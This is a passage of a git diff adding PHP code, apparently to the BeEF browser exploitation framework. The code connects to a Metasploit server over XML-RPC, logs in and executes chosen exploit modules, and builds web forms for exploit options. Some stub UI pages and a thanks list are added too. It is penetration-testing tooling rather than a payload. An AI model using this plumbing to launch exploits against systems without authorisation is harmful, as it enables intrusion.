Options failed"; + beef_log($error, $error); + return FALSE; + } + + // create request + $optval = new xmlrpcval; + $o = array(); + + foreach ($options as $k => $v) { + $o[$k] = new xmlrpcval($v,"string"); + } + + $optval->addStruct($o); + + $msg = new xmlrpcmsg("module.execute", // method name + array( new xmlrpcval($token,"string"), // params + new xmlrpcval($type,"string"), + new xmlrpcval($module,"string"), // metasploit module + $optval)); + $string = $msg->serialize() . "\0"; + + // send request + socket_write($sock,$string); + $resp = socket_read($sock,2048); + $resp = str_replace("\0","",$resp); + $t = php_xmlrpc_decode_xml($resp); + + // check error + if($t->errno) { + $error = "MSF execute module error:\n"; + $error .= "- Calling $module failed"; + beef_log($error, $error); + return FALSE; + } + + return TRUE; +} + +// --[ MSF LOGIN +// login to metasploit via xml rpc and return token +function xmlrpc_msf_login($sock, $username, $password) +{ + // create login request + $msg = new xmlrpcmsg("auth.login", + array(new xmlrpcval($username,"string"), + new xmlrpcval($password,"string"))); + $string = $msg->serialize() . "\0"; + + // send login request + socket_write($sock,$string); + // get login response + $resp = socket_read($sock, 2048); + $resp = str_replace("\0","",$resp); + $t = php_xmlrpc_decode_xml($resp); + + // check if login failed + if($t->errno) { + $login_error = "MSF login error:\n"; + $login_error .= "- Check MSF_USER and MSF_PASS settings are correct"; + beef_log($login_error, $login_error); + return FALSE; + } + + // login successful so return session token + $token = $t->val->structmem("token"); + return $token->scalarval(); +} + +// --[ MSF CONNECT +// create tcp connection to msf +function msf_connect($host, $port) +{ + if(!$host) { + $connect_error = "MSF connect error:\n"; + $connect_error .= "- Invalid MSF_HOST variable setting"; + beef_log($connect_error, $connect_error); + return FALSE; + } + + if(!$port) { + $connect_error = "MSF connect error:\n"; + $connect_error .= "- Invalid MSF_PORT variable setting"; + beef_log($connect_error, $connect_error); + return FALSE; + } + + $sock = @socket_create(AF_INET,SOCK_STREAM,SOL_TCP); + + if($sock == FALSE) { + $connect_error = "MSF connect error:\n"; + $connect_error .= "- Create socket failed"; + beef_log($connect_error, $connect_error); + return FALSE; + } + + $connected = @socket_connect($sock,$host,$port); + + if(!$connected) { + $connect_error = "MSF connect error:\n"; + $connect_error .= "- Cannot connect to MSF: " . $host . ":" . $port; + beef_log($connect_error, $connect_error); + return FALSE; + } + + return $sock; +} + +// --[ CONSTRUCT SELECT +// construct a html select from array +function construct_select($name, $values, $onchange) { + + sort($values); + + // start select + $return_select = '\n"; + + return $return_select . "\n"; +} + +// --[ CONTRUCT OPTIONS FORM +// create a html exploit options form +function construct_options_form($options) { + + $options_form = ""; + + // contruct options to be displayed to in browser + foreach($options as $key=>$value) { + + // don't display advanced, evasion and boolean options + if($value["advanced"] == 1 || $value["evasion"] == 1 || $value["type"] == "bool") { + continue; + } + + // create heading + $options_form .= "
    "; + + $options_form .= "$key"; + + if($value["required"] == 1) { + $options_form .= " (required)"; + } + + $options_form .= ":
    \n"; + + // create discription + $options_form .= $value["desc"] . "
    "; + + // create input box + $options_form .= "\n"; + } + + return $options_form; +} + +?> diff --git a/ui/options.php b/ui/options.php new file mode 100644 index 000000000..45a1f1b2a --- /dev/null +++ b/ui/options.php @@ -0,0 +1,15 @@ + + + + + + + + +

    Options not implemented yet

    + + diff --git a/ui/send_cmds.php b/ui/send_cmds.php new file mode 100644 index 000000000..916457042 --- /dev/null +++ b/ui/send_cmds.php @@ -0,0 +1,95 @@ + diff --git a/ui/thanks.php b/ui/thanks.php new file mode 100644 index 000000000..93410eb2a --- /dev/null +++ b/ui/thanks.php @@ -0,0 +1,20 @@ + + +
    +

    Thanks


    + Thanks to these people for their feedback and input. It has been very helpful.

    + - Joshua Abraham
    + - Ryan Linn
    + - Roberto Suggi Liverani
    + - Nick Freeman
    + - Pipes
    + - Alexios Fakos
    + - Achim Hoffman
    + - Andres Riancho
    + +
    + diff --git a/ui/update.php b/ui/update.php new file mode 100644 index 000000000..32ced859b --- /dev/null +++ b/ui/update.php @@ -0,0 +1,15 @@ + + + + + + + + +

    Update not implemented yet

    + +